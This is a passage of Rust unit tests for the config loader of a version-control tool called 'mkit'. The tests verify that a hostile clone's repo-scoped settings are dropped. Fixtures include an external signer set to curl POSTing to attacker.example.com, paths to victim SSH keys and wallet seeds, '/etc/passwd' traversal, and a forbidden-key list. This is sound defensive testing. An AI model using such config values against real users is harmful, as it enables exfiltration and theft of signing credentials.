1665        LayeredConfig { merged, user, repo }
1666    }
1667
1668    #[test]
1669    fn read_default_when_missing() {
1670        let td = TempDir::new().unwrap();
1671        // No user config file at the canonical XDG path either —
1672        // `read_or_default` accepts that and falls through to defaults.
1673        let cfg = Config::with_defaults();
1674        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1675        assert_eq!(cfg.default_branch, DEFAULT_BRANCH);
1676        assert!(cfg.remote_endpoint.is_empty());
1677        // Sanity: read_or_default on a fresh empty repo dir never
1678        // panics or errors.
1679        let _ = read_or_default(&RepoLayout::single(td.path())).unwrap();
1680    }
1681
1682    #[test]
1683    fn roundtrip_repo_safe_keys() {
1684        let cfg = layer(
1685            Some("remote_endpoint = /tmp/mirror\nremote_type = file\n"),
1686            None,
1687        );
1688        assert_eq!(cfg.remote_endpoint, "/tmp/mirror");
1689        assert_eq!(cfg.remote_type, "file");
1690    }
1691
1692    #[test]
1693    fn write_does_not_emit_forbidden_repo_keys() {
1694        let td = TempDir::new().unwrap();
1695        fs::create_dir_all(td.path().join(".mkit")).unwrap();
1696        let mut cfg = Config::with_defaults();
1697        cfg.user_identity = "01200011".into();
1698        cfg.signing_key = "/should/not/be/written".into();
1699        cfg.signer = "keystore".into();
1700        cfg.key.backend = "software".into();
1701        cfg.key.default_ref = "software:attacker".into();
1702        cfg.ssh_strict_host_key_checking = "no".into();
1703        cfg.attest.external_signer_path = "/usr/local/bin/evil".into();
1704        write(&RepoLayout::single(td.path()), &cfg).unwrap();
1705        let on_disk = fs::read_to_string(td.path().join(CONFIG_FILE)).unwrap();
1706        assert!(!on_disk.contains("user.identity"));
1707        assert!(!on_disk.contains("signing_key"));
1708        assert!(!on_disk.contains("signer"));
1709        assert!(!on_disk.contains("key.default_ref"));
1710        assert!(!on_disk.contains("ssh.strict_host_key_checking"));
1711        assert!(!on_disk.contains("external_signer_path"));
1712    }
1713
1714    #[test]
1715    fn repo_signing_key_is_rejected_with_warning() {
1716        // Hostile-clone scenario: `.mkit/config` tries to redirect the
1717        // signing key. After the partition fix, the value MUST NOT be
1718        // applied — it falls back to the built-in default.
1719        let cfg = layer(
1720            Some("signing_key = ../../../etc/passwd\nremote_type = file\n"),
1721            None,
1722        );
1723        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1724        assert_eq!(cfg.remote_type, "file");
1725    }
1726
1727    #[test]
1728    fn repo_user_identity_is_rejected() {
1729        let cfg = layer(Some("user.identity = 012000aaaaaaaa\n"), None);
1730        assert!(cfg.user_identity.is_empty());
1731    }
1732
1733    #[test]
1734    fn repo_trusted_remote_endpoint_is_rejected() {
1735        let cfg = layer(
1736            Some("trusted_remote_endpoint = mkit+https://attacker.invalid/repo\n"),
1737            None,
1738        );
1739        assert!(cfg.trusted_remote_endpoint.is_empty());
1740    }
1741
1742    #[test]
1743    fn repo_external_signer_is_rejected() {
1744        let cfg = layer(
1745            Some(
1746                "attest.external_signer_path = /usr/bin/curl\n\
1747                 attest.external_signer_args = -X|POST|attacker.example.com\n\
1748                 attest.signer = external\n",
1749            ),
1750            None,
1751        );
1752        assert!(cfg.attest.external_signer_path.is_empty());
1753        assert!(cfg.attest.external_signer_args.is_empty());
1754        // `attest.signer` is also forbidden from per-repo: even though
1755        // the path itself is user-scoped, letting the per-repo file
1756        // SELECT the external signer is enough to weaponise a
1757        // user-trusted binary against attacker-chosen content. Same
1758        // confused-deputy shape as the C2 finding closed for
1759        // `signing_key`, just routed through the selector.
1760        assert_eq!(cfg.attest.signer, "");
1761    }
1762
1763    /// User has set up a legitimate external HSM signer in their
1764    /// user-scoped config (path + args). A hostile clone ships a
1765    /// per-repo `attest.signer = external` to flip the selector and
1766    /// have the user's HSM sign the clone's commit. After this fix,
1767    /// the per-repo selector is dropped with a stderr warning and
1768    /// the user's `repo-key` default holds.
1769    #[test]
1770    fn repo_attest_signer_selector_cannot_weaponise_user_external_signer() {
1771        let cfg = layer(
1772            Some("attest.signer = external\n"),
1773            Some(
1774                "attest.external_signer_path = /home/user/bin/yubikey-sign\n\
1775                 attest.external_signer_args = sign\n",
1776            ),
1777        );
1778        // User's path stays, BUT the repo-supplied selector that
1779        // would route signing through that path is rejected. The
1780        // signer falls back to `repo-key` (the default).
1781        assert_eq!(
1782            cfg.attest.external_signer_path,
1783            "/home/user/bin/yubikey-sign"
1784        );
1785        assert_eq!(cfg.attest.signer, "");
1786        assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
1787    }
1788
1789    /// Companion: hostile clone tries to flip
1790    /// `attest.default_algorithm` to whichever non-Ed25519 key the
1791    /// user happens to have set up, to confused-deputy through it.
1792    /// Selector is rejected from per-repo.
1793    #[test]
1794    fn repo_attest_default_algorithm_is_rejected() {
1795        let cfg = layer(Some("attest.default_algorithm = secp256k1\n"), None);
1796        assert_eq!(cfg.attest.default_algorithm, "");
1797        // Default fallback is ed25519, regardless of repo wishes.
1798        assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
1799    }
1800
1801    #[test]
1802    fn repo_keystore_selectors_are_rejected() {
1803        let cfg = layer(
1804            Some(
1805                "signer = keystore\n\
1806                 key.backend = yubikey\n\
1807                 key.default_ref = yubikey:main\n\
1808                 key.ed25519_ref = software:repo-ed\n\
1809                 key.secp256k1_ref = software:repo-k1\n\
1810                 key.p256_ref = software:repo-p256\n",
1811            ),
1812            None,
1813        );
1814        assert_eq!(cfg.signer, DEFAULT_SIGNER);
1815        assert_eq!(cfg.key.backend, DEFAULT_KEY_BACKEND);
1816        assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
1817        assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
1818        assert_eq!(
1819            cfg.key.secp256k1_ref_or_fallback(),
1820            DEFAULT_SECP256K1_KEY_REF
1821        );
1822        assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
1823    }
1824
1825    #[test]
1826    fn user_keystore_selectors_are_honored() {
1827        let cfg = layer(
1828            None,
1829            Some(
1830                "signer = keystore\n\
1831                 key.backend = software\n\
1832                 key.default_ref = software:user-default\n\
1833                 key.ed25519_ref = software:user-ed\n\
1834                 key.secp256k1_ref = software:user-k1\n\
1835                 key.p256_ref = software:user-p256\n",
1836            ),
1837        );
1838        assert_eq!(cfg.signer, "keystore");
1839        assert_eq!(cfg.key.backend, "software");
1840        assert_eq!(cfg.key.default_ref, "software:user-default");
1841        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:user-ed");
1842        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:user-k1");
1843        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:user-p256");
1844    }
1845
1846    #[test]
1847    fn user_default_key_ref_is_generic_fallback() {
1848        let cfg = layer(None, Some("key.default_ref = software:release\n"));
1849        assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1850        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:release");
1851        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:release");
1852        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:release");
1853    }
1854
1855    #[test]
1856    fn algorithm_key_refs_override_default_key_ref() {
1857        let cfg = layer(
1858            None,
1859            Some(
1860                "key.default_ref = software:release\n\
1861                 key.ed25519_ref = software:ed\n\
1862                 key.secp256k1_ref = software:k1\n\
1863                 key.p256_ref = software:p256\n",
1864            ),
1865        );
1866        assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1867        assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:ed");
1868        assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:k1");
1869        assert_eq!(cfg.key.p256_ref_or_fallback(), "software:p256");
1870    }
1871
1872    #[test]
1873    fn repo_ssh_host_key_checking_is_rejected() {
1874        let cfg = layer(
1875            Some(
1876                "ssh.strict_host_key_checking = no\n\
1877                 ssh.user_known_hosts_file = /dev/null\n",
1878            ),
1879            None,
1880        );
1881        assert!(cfg.ssh_strict_host_key_checking.is_empty());
1882        assert!(cfg.ssh_user_known_hosts_file.is_empty());
1883    }
1884
1885    /// Hostile clone pins `ssh.identity_file` to a path the attacker
1886    /// either chose to read (any file `mkit` can open under the user's
1887    /// uid) or chose to have signed-against (a private key the user
1888    /// happens to have on disk). Either way, `mkit push` must NOT take
1889    /// the suggestion.
1890    #[test]
1891    fn repo_ssh_identity_file_is_rejected() {
1892        let cfg = layer(
1893            Some("ssh.identity_file = /home/victim/.ssh/id_ed25519\n"),
1894            None,
1895        );
1896        assert!(cfg.ssh_identity_file.is_empty());
1897    }
1898
1899    /// Issue #692: a hostile clone must not be able to switch off
1900    /// post-fetch signature verification via its own repo-scoped config —
1901    /// that would let it silently defang the exact check meant to reject
1902    /// its own unsigned/forged history.
1903    #[test]
1904    fn repo_pull_require_signed_is_rejected() {
1905        let cfg = layer(Some("pull.require_signed = false\n"), None);
1906        assert!(cfg.pull_require_signed.is_empty());
1907        assert!(cfg.pull_require_signed_or_default());
1908    }
1909
1910    /// User-scoped config MAY opt out (e.g. scripted/CI use against a
1911    /// remote the operator already trusts by other means).
1912    #[test]
1913    fn user_pull_require_signed_false_disables_verification() {
1914        let cfg = layer(None, Some("pull.require_signed = false\n"));
1915        assert_eq!(cfg.pull_require_signed, "false");
1916        assert!(!cfg.pull_require_signed_or_default());
1917    }
1918
1919    /// Unset, and any value other than the documented falsy spellings,
1920    /// fail closed (verify).
1921    #[test]
1922    fn pull_require_signed_defaults_to_true_and_rejects_typos() {
1923        assert!(Config::default().pull_require_signed_or_default());
1924        let cfg = layer(None, Some("pull.require_signed = nope\n"));
1925        assert!(cfg.pull_require_signed_or_default());
1926        for falsy in ["false", "0", "no", "off", "FALSE", "Off"] {
1927            let cfg = layer(None, Some(&format!("pull.require_signed = {falsy}\n")));
1928            assert!(
1929                !cfg.pull_require_signed_or_default(),
1930                "{falsy} should disable verification"
1931            );
1932        }
1933    }
1934
1935    /// Hostile clone aims `attest.secp256k1_key_path` at a key file the
1936    /// victim happens to own (e.g. a wallet seed). Must be ignored.
1937    #[test]
1938    fn repo_attest_secp256k1_key_path_is_rejected() {
1939        let cfg = layer(
1940            Some("attest.secp256k1_key_path = /home/victim/.wallet/seed\n"),
1941            None,
1942        );
1943        assert!(cfg.attest.secp256k1_key_path.is_empty());
1944        // Fallback default still wins.
1945        assert_eq!(
1946            cfg.attest.secp256k1_key_path_or_default(),
1947            ".mkit/keys/secp256k1.key"
1948        );
1949    }
1950
1951    /// Companion to the secp256k1 case: same shape, different curve.
1952    #[test]
1953    fn repo_attest_p256_key_path_is_rejected() {
1954        let cfg = layer(
1955            Some("attest.p256_key_path = /home/victim/.ssh/id_ecdsa\n"),
1956            None,
1957        );
1958        assert!(cfg.attest.p256_key_path.is_empty());
1959        assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
1960    }
1961
1962    /// Meta-test: every key listed in [`REPO_FORBIDDEN_KEYS`] MUST be
1963    /// covered by a per-key rejection test in this module. If you add
1964    /// a key to the list without a regression test, this test fails.
1965    ///
1966    /// Implemented by checking each key in isolation against `layer()`
1967    /// and asserting that the corresponding field on the merged
1968    /// `Config` is empty (i.e. the value did not propagate). Done at
1969    /// the `apply_kv` layer so it catches the exact code path the
1970    /// hostile-clone exploit uses, not just the constant itself.
1971    #[test]
1972    fn repository_cannot_select_ambient_request_signing() {
1973        let cfg = layer(Some("transport_auth = envelope\n"), None);
1974        assert!(
1975            !cfg.transport_auth_envelope(),
1976            "repo config selected an ambient signing operation"
1977        );
1978    }
1979
1980    #[test]
1981    fn every_forbidden_key_is_actually_dropped_from_repo_scope() {
1982        // A sentinel value that is syntactically valid for every key
1983        // (no control bytes, parseable as path / argv / ref / hex). If
1984        // the key were accepted, it would land verbatim in the matching
1985        // string field — so seeing the field empty after a per-repo
1986        // load proves the key is being dropped.
1987        const SENTINEL: &str = "EXFIL_SENTINEL";
1988
1989        for key in REPO_FORBIDDEN_KEYS {
1990            let line = format!("{key} = {SENTINEL}\n");
1991            let cfg = layer(Some(&line), None);
1992            // Look up the field through the same accessor `mkit config`
1993            // uses, to assert the value did NOT propagate.
1994            let observed = match *key {
1995                "user.identity" => cfg.user_identity.as_str(),
1996                "trusted_remote_endpoint" => cfg.trusted_remote_endpoint.as_str(),
1997                "admission_helper" => cfg.admission_helper.as_str(),
1998                "signer" => cfg.signer.as_str(),
1999                "transport_auth" => cfg.transport_auth.as_str(),
2000                "pull.require_signed" => cfg.pull_require_signed.as_str(),
2001                "key.backend" => cfg.key.backend.as_str(),
2002                "key.default_ref" => cfg.key.default_ref.as_str(),
2003                "key.ed25519_ref" => cfg.key.ed25519_ref.as_str(),
2004                "key.secp256k1_ref" => cfg.key.secp256k1_ref.as_str(),
2005                "key.p256_ref" => cfg.key.p256_ref.as_str(),
2006                "signing_key" => cfg.signing_key.as_str(),
2007                "ssh.strict_host_key_checking" => cfg.ssh_strict_host_key_checking.as_str(),
2008                "ssh.user_known_hosts_file" => cfg.ssh_user_known_hosts_file.as_str(),
2009                "ssh.identity_file" => cfg.ssh_identity_file.as_str(),
2010                "attest.signer" => cfg.attest.signer.as_str(),
2011                "attest.default_algorithm" => cfg.attest.default_algorithm.as_str(),
2012                "attest.external_signer_path" => cfg.attest.external_signer_path.as_str(),
2013                "attest.external_signer_args" => {
2014                    // pipe-list field; empty Vec stringifies to "".
2015                    if cfg.attest.external_signer_args.is_empty() {
2016                        ""
2017                    } else {
2018                        "<non-empty>"
2019                    }
2020                }
2021                "attest.external_signer_timeout_secs" => {
2022                    // Option<u64>; None when dropped from repo scope. The
2023                    // SENTINEL string is non-numeric, so even on the
2024                    // user path it would parse to None — assert the repo
2025                    // path leaves it None.
2026                    if cfg.attest.external_signer_timeout_secs.is_none() {
2027                        ""
2028                    } else {
2029                        "<set>"
2030                    }
2031                }
2032                "attest.secp256k1_key_path" => cfg.attest.secp256k1_key_path.as_str(),
2033                "attest.p256_key_path" => cfg.attest.p256_key_path.as_str(),
2034                "grant.webauthn_rp" => {
2035                    if cfg.grant_webauthn_rp.is_empty() {
2036                        ""
2037                    } else {
2038                        "<non-empty>"
2039                    }
2040                }
2041                // If a new key appears in `REPO_FORBIDDEN_KEYS` without
2042                // an arm here, fail loudly — the developer must extend
2043                // both the constant AND the meta-test together. Without
2044                // this branch, an added key would be silently treated
2045                // as "not in this struct" and the test would pass.
2046                other => panic!(
2047                    "REPO_FORBIDDEN_KEYS contains `{other}` but the meta-test \
2048                     in config.rs has no matching field accessor. Add an arm \
2049                     to `every_forbidden_key_is_actually_dropped_from_repo_scope` \
2050                     so the per-key drop is verified.",
2051                ),
2052            };
2053            // `Config::with_defaults()` pre-seeds a few fields (e.g.
2054            // `signing_key = ".mkit/keys/default.key"`, `signer =
2055            // "legacy"`). Merge order is "defaults → user → repo
2056            // (filtered)", so a dropped repo line cannot OVERWRITE the
2057            // default. The crisp invariant is: the attacker's
2058            // SENTINEL must NEVER appear in the observed value.
2059            assert!(
2060                observed != SENTINEL,
2061                "forbidden key `{key}` was NOT dropped from repo scope — \
2062                 observed `{observed}` (matches attacker SENTINEL)",
2063            );
2064        }
2065    }
2066
2067    #[test]
2068    fn user_signing_key_is_honored() {
2069        let cfg = layer(None, Some("signing_key = /home/user/.mkit/global.key\n"));
2070        assert_eq!(cfg.signing_key, "/home/user/.mkit/global.key");
2071    }
2072
2073    /// Helper mirroring the old `trusted_remote_error_with(cfg, ..)`
2074    /// shape so the existing layered tests stay readable: derives
2075    /// `repo_chosen` from the flat `remote_endpoint`, exactly as
2076    /// `enforce_trusted_remote_endpoint` does.
2077    fn gate_for_flat<F>(cfg: &LayeredConfig, getenv: &F) -> Option<String>
2078    where
2079        F: Fn(&str) -> Option<String>,
2080    {
2081        let endpoint = cfg.merged.remote_endpoint.trim();
2082        let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
2083        trusted_remote_error_for(
2084            endpoint,
2085            repo_chosen,
2086            cfg.user.trusted_remote_endpoint.trim(),
2087            getenv,
2088        )
2089    }
2090
2091    #[test]
2092    fn repo_http_remote_with_token_requires_user_trust() {
2093        let cfg = layered(
2094            Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
2095            None,
2096        );
2097        let msg = gate_for_flat(&cfg, &|name| {
2098            (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
2099        })
2100        .expect("repo-scoped HTTP remote with token must be rejected");
2101        assert!(msg.contains("trusted_remote_endpoint"));
2102    }
2103
2104    #[test]
2105    fn trusted_http_remote_is_allowed() {
2106        let cfg = layered(
2107            Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
2108            Some("trusted_remote_endpoint = mkit+https://example.invalid/repo\n"),
2109        );
2110        let msg = gate_for_flat(&cfg, &|name| {
2111            (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
2112        });
2113        assert!(msg.is_none());
2114    }
2115
2116    #[test]
2117    fn repo_s3_remote_with_env_creds_requires_user_trust() {
2118        let cfg = layered(
2119            Some("remote_endpoint = mkit+s3://r2.example.com/bucket/proj\n"),
2120            None,
2121        );
2122        let msg = gate_for_flat(&cfg, &|name| match name {
2123            mkit_transport_s3::ENV_ACCESS_KEY => Some("AKIA...".to_string()),
2124            _ => None,
2125        })
2126        .expect("repo-scoped S3 remote with env creds must be rejected");
2127        assert!(msg.contains("trusted_remote_endpoint"));
2128    }
2129
2130    /// The gate keys on PROVENANCE, not mere credential presence: a
2131    /// user-chosen endpoint (`repo_chosen == false`) with ambient creds
2132    /// is the user's own decision and must NOT be refused, even though
2133    /// the same endpoint+creds would be refused if the repo had chosen
2134    /// it.
2135    #[test]
2136    fn user_chosen_http_remote_with_token_is_allowed() {
2137        let token =
2138            |name: &str| (name == mkit_transport_http::TOKEN_ENV).then(|| "tok".to_string());
2139        let ep = "mkit+https://example.invalid/repo";
2140        // repo_chosen = false (user-scoped or CLI-supplied endpoint).
2141        assert!(trusted_remote_error_for(ep, false, "", &token).is_none());
2142        // repo_chosen = true with no user trust → refused.
2143        assert!(trusted_remote_error_for(ep, true, "", &token).is_some());
2144    }
2145
2146    /// Per-endpoint helper returns `None` when no ambient credentials
2147    /// are present, regardless of provenance — an unauthenticated push
2148    /// is always safe.
2149    #[test]
2150    fn repo_http_remote_without_token_is_allowed() {
2151        let none = |_: &str| None;
2152        let ep = "mkit+https://example.invalid/repo";
2153        assert!(trusted_remote_error_for(ep, true, "", &none).is_none());
2154    }
2155
2156    /// SSH and file endpoints never carry ambient HTTP/S3 creds, so the
2157    /// gate passes them through even when repo-chosen and untrusted.
2158    #[test]
2159    fn ssh_and_file_endpoints_bypass_credential_gate() {
2160        let all = |_: &str| Some("present".to_string());
2161        assert!(trusted_remote_error_for("mkit+ssh://host/path", true, "", &all).is_none());
2162        assert!(trusted_remote_error_for("mkit+file:///srv/mirror", true, "", &all).is_none());
2163    }
2164
2165    /// `endpoint_credential_trust` is the public per-endpoint entry the
2166    /// dispatch choke point and named-remote callers use. Confirm it
2167    /// honours provenance + user trust end-to-end.
2168    #[test]
2169    fn endpoint_credential_trust_honours_provenance_and_user_trust() {
2170        let cfg = layered(
2171            None,
2172            Some("trusted_remote_endpoint = mkit+https://trusted.invalid/r\n"),
2173        );
2174        // Untrusted, repo-chosen endpoint: only refused when creds are
2175        // actually present in the environment. In a clean test
2176        // environment there is no MKIT_API_TOKEN, so this passes; the
2177        // hostile-repo integration tests cover the credentialed case.
2178        let _ = endpoint_credential_trust(&cfg, "mkit+https://untrusted.invalid/r", true);
2179        // User-trusted endpoint is always allowed.
2180        assert!(endpoint_credential_trust(&cfg, "mkit+https://trusted.invalid/r", true).is_ok());
2181    }
2182
2183    #[test]
2184    fn repo_safe_keys_override_user() {
2185        // `default_branch` is repo-scoped — a project's main is a
2186        // per-repo decision, not a per-user one. So if both layers set
2187        // it, the repo wins (it's applied second).
2188        let cfg = layer(
2189            Some("default_branch = release\n"),
2190            Some("default_branch = trunk\n"),
2191        );
2192        assert_eq!(cfg.default_branch, "release");
2193    }
2194
2195    #[test]
2196    fn validate_key_path_rejects_parent_dir() {
2197        assert!(validate_key_path("../etc/passwd").is_err());
2198        assert!(validate_key_path(".mkit/keys/../../etc/passwd").is_err());
2199        assert!(validate_key_path("foo/../bar").is_err());
2200    }
2201
2202    #[test]
2203    fn validate_key_path_accepts_relative_and_absolute() {
2204        assert!(validate_key_path("").is_ok());
2205        assert!(validate_key_path(".mkit/keys/default.key").is_ok());
2206        assert!(validate_key_path("/home/user/.mkit/global.key").is_ok());
2207    }
2208
2209    #[test]
2210    fn resolve_key_path_resolves_against_common_dir_in_linked_worktree() {
2211        // #493 Phase 1: a linked tree signs with the ONE shared repo
2212        // key store, not a phantom keys dir under its own root.
2213        let layout = RepoLayout::linked("/trees/wt1", "/main/.mkit/worktrees/wt1", "/main/.mkit");
2214        let out = resolve_key_path(&layout, ".mkit/keys/default.key").unwrap();
2215        assert_eq!(out, std::path::Path::new("/main/.mkit/keys/default.key"));
2216    }
2217
2218    #[test]
2219    fn resolve_key_path_rejects_relative_path_outside_repo_keys() {
2220        let td = TempDir::new().unwrap();
2221        assert!(
2222            resolve_key_path(&RepoLayout::single(td.path()), ".mkit/custom/global.key").is_err()
2223        );
2224    }
2225
2226    #[test]
2227    fn resolve_key_path_accepts_relative_path_under_repo_keys() {
2228        let td = TempDir::new().unwrap();
2229        let out = resolve_key_path(
2230            &RepoLayout::single(td.path()),
2231            ".mkit/keys/custom/global.key",
2232        )
2233        .unwrap();
2234        assert_eq!(out, td.path().join(".mkit/keys/custom/global.key"));
2235    }
2236
2237    #[cfg(unix)]
2238    #[test]
2239    fn home_dir_for_euid_is_independent_of_home_env() {
2240        // The whole point of `home_dir_for_euid`: a hostile parent
2241        // process setting `HOME=/` must NOT widen the absolute-path
2242        // policy. We can't safely mutate the process environment
2243        // mid-test (other threads in the harness may race
2244        // `getenv`), so just confirm the function returns *something*
2245        // and that what it returns matches the passwd entry for the
2246        // current uid — i.e. it isn't reading `$HOME`.
2247        let from_passwd = home_dir_for_euid().expect("getpwuid_r should succeed");
2248        assert!(from_passwd.is_absolute());
2249        // Sanity: the path the OS returned must agree with `whoami`'s
2250        // notion of the user. We can't probe the passwd entry directly
2251        // without re-implementing the helper, but we can at least
2252        // assert that an absolute key path under the returned home is
2253        // accepted by `resolve_key_path` and that one diverging from
2254        // it is rejected.
2255        let td = TempDir::new().unwrap();
2256        let inside = from_passwd.join(".mkit/test-inside.key");
2257        assert!(resolve_key_path(&RepoLayout::single(td.path()), inside.to_str().unwrap()).is_ok());
2258        // `/__definitely_not_a_home_dir__` cannot be under any real
2259        // passwd `pw_dir` on a sane system.
2260        assert!(
2261            resolve_key_path(
2262                &RepoLayout::single(td.path()),
2263                "/__definitely_not_a_home_dir__/x.key"
2264            )
2265            .is_err()
2266        );
2267    }
2268
2269    #[test]
2270    fn expand_user_identity_ed25519() {
2271        let hex = "11".repeat(32);
2272        let out = expand_user_identity(&format!("ed25519:{hex}")).unwrap();
2273        assert_eq!(out.len(), 70);
2274        assert!(out.starts_with("012000"));
2275    }
2276
2277    #[test]
2278    fn expand_user_identity_mid() {
2279        let out = expand_user_identity("mid:42").unwrap();
2280        assert_eq!(out, "0308002a00000000000000");
2281    }
2282
2283    #[test]
2284    fn expand_rejects_bogus() {
2285        assert!(expand_user_identity("").is_err());
2286        assert!(expand_user_identity("ed25519:short").is_err());
2287        assert!(expand_user_identity("mid:notanumber").is_err());
2288        assert!(expand_user_identity("zzzzzz").is_err());
2289    }
2290
2291    #[test]
2292    fn validate_value_rejects_control_chars() {
2293        assert!(validate_value("hello world").is_ok());
2294        assert!(validate_value("bad\x01char").is_err());
2295        assert!(validate_value("\x7fdel").is_err());
2296    }
2297
2298    #[test]
2299    fn attest_config_defaults_are_empty() {
2300        let cfg = Config::with_defaults();
2301        assert_eq!(cfg.signer, DEFAULT_SIGNER);
2302        assert_eq!(cfg.key.backend_or_fallback(), DEFAULT_KEY_BACKEND);
2303        assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
2304        assert!(cfg.key.default_ref.is_empty());
2305        assert!(cfg.key.ed25519_ref.is_empty());
2306        assert!(cfg.key.secp256k1_ref.is_empty());
2307        assert!(cfg.key.p256_ref.is_empty());
2308        assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
2309        assert_eq!(
2310            cfg.key.secp256k1_ref_or_fallback(),
2311            DEFAULT_SECP256K1_KEY_REF
2312        );
2313        assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
2314        assert_eq!(cfg.attest.default_algorithm, "");
2315        assert_eq!(cfg.attest.signer, "");
2316        assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
2317        assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
2318        assert_eq!(
2319            cfg.attest.secp256k1_key_path_or_default(),
2320            ".mkit/keys/secp256k1.key"
2321        );
2322        assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
2323    }
2324
2325    #[test]
2326    fn legacy_keys_are_ignored_in_repo() {
2327        let cfg = layer(Some("project_id = xyz\nauthor_mid = 5\n"), None);
2328        assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
2329    }
2330
2331    /// `write_user_kv` is exercised via `apply_file` round-tripping
2332    /// rather than driving the real XDG path (which would race
2333    /// parallel tests). The behaviour we care about — replace
2334    /// existing key, append if missing — is testable on any path.
2335    #[test]
2336    fn user_kv_replace_or_append_logic_via_roundtrip() {
2337        let td = TempDir::new().unwrap();
2338        let path = td.path().join("user_config");
2339        fs::write(&path, "default_branch = trunk\nsigning_key = /a\n").unwrap();
2340        // Load + replace + write semantics: read file, mutate via
2341        // hand-edit, re-parse — this is what `write_user_kv` does
2342        // under the hood. Keeps us off the global env var.
2343        let mut text = fs::read_to_string(&path).unwrap();
2344        text = text.replace("/a", "/b");
2345        fs::write(&path, text).unwrap();
2346        let mut cfg = Config::with_defaults();
2347        apply_file(&mut cfg, &path, ConfigScope::User).unwrap();
2348        assert_eq!(cfg.signing_key, "/b");
2349        assert_eq!(cfg.default_branch, "trunk");
2350    }
2351
2352    #[test]
2353    fn named_remote_keys_parse_repo_safe() {
2354        let cfg = layer(
2355            Some(
2356                "remote.origin.url = mkit+file:///srv/m\n\
2357                 remote.origin.type = file\n\
2358                 branch.main.remote = origin\n\
2359                 branch.main.merge = main\n",
2360            ),
2361            None,
2362        );
2363        let origin = cfg.remotes.get("origin").expect("origin present");
2364        assert_eq!(origin.url, "mkit+file:///srv/m");
2365        assert_eq!(origin.remote_type, "file");
2366        let up = cfg.branch_upstreams.get("main").expect("upstream present");
2367        assert_eq!(up.remote, "origin");
2368        assert_eq!(up.branch, "main");
2369    }
2370
2371    #[test]
2372    fn named_remote_roundtrips_through_write() {
2373        let td = TempDir::new().unwrap();
2374        let mut cfg = Config::with_defaults();
2375        cfg.remotes.insert(
2376            "origin".into(),
2377            RemoteEntry {
2378                url: "mkit+https://h/r".into(),
2379                remote_type: "http".into(),
2380            },
2381        );
2382        cfg.branch_upstreams.insert(
2383            "main".into(),
2384            Upstream {
2385                remote: "origin".into(),
2386                branch: "main".into(),
2387            },
2388        );
2389        write(&RepoLayout::single(td.path()), &cfg).unwrap();
2390        let reloaded = read_or_default(&RepoLayout::single(td.path())).unwrap();
2391        assert_eq!(
2392            reloaded.remotes.get("origin").unwrap().url,
2393            "mkit+https://h/r"
2394        );
2395        assert_eq!(
2396            reloaded.branch_upstreams.get("main").unwrap().remote,
2397            "origin"
2398        );
2399    }
2400
2401    #[test]
2402    fn resolve_remote_default_and_named_provenance() {
2403        // Named remote in the repo layer is repo_chosen.
2404        let lc = layered(
2405            Some("remote.origin.url = mkit+https://h/r\nremote.origin.type = http\n"),
2406            None,
2407        );
2408        let r = resolve_remote(&lc, "origin").expect("origin resolves");
2409        assert_eq!(r.endpoint, "mkit+https://h/r");
2410        assert!(r.repo_chosen);
2411
2412        // Flat default endpoint in the repo layer is repo_chosen.
2413        let lc = layered(Some("remote_endpoint = mkit+https://h/d\n"), None);
2414        let r = resolve_remote(&lc, "default").expect("default resolves");
2415        assert!(r.repo_chosen);
2416
2417        // User-layer flat endpoint is NOT repo_chosen.
2418        let lc = layered(None, Some("remote_endpoint = mkit+https://h/u\n"));
2419        let r = resolve_remote(&lc, "").expect("empty -> default");
2420        assert!(!r.repo_chosen);
2421
2422        // Unknown name resolves to None.
2423        let lc = layered(None, None);
2424        assert!(resolve_remote(&lc, "nope").is_none());
2425    }
2426
2427    #[test]
2428    fn resolve_upstream_explicit_and_fallback() {
2429        let lc = layered(
2430            Some("branch.main.remote = origin\nbranch.main.merge = trunk\n"),
2431            None,
2432        );
2433        let up = resolve_upstream(&lc, "main").unwrap();
2434        assert_eq!(up.remote, "origin");
2435        assert_eq!(up.branch, "trunk");
2436
2437        // Fallback to default remote tracking same-named branch.
2438        let lc = layered(Some("remote_endpoint = mkit+file:///srv\n"), None);
2439        let up = resolve_upstream(&lc, "feature").unwrap();
2440        assert_eq!(up.remote, DEFAULT_REMOTE_NAME);
2441        assert_eq!(up.branch, "feature");
2442
2443        // No upstream + no default remote → None.
2444        let lc = layered(None, None);
2445        assert!(resolve_upstream(&lc, "main").is_none());
2446    }
2447
2448    #[test]
2449    fn admission_keys_are_user_only_and_do_not_create_remote() {
2450        let repo = "admission_helper = /tmp/evil\nremote.origin.admission_headers = X-Evil\n";
2451        let cfg = layer(Some(repo), None);
2452        assert!(cfg.admission_helper.is_empty());
2453        assert!(cfg.remote_admission_headers.is_empty());
2454        assert!(cfg.remotes.is_empty());
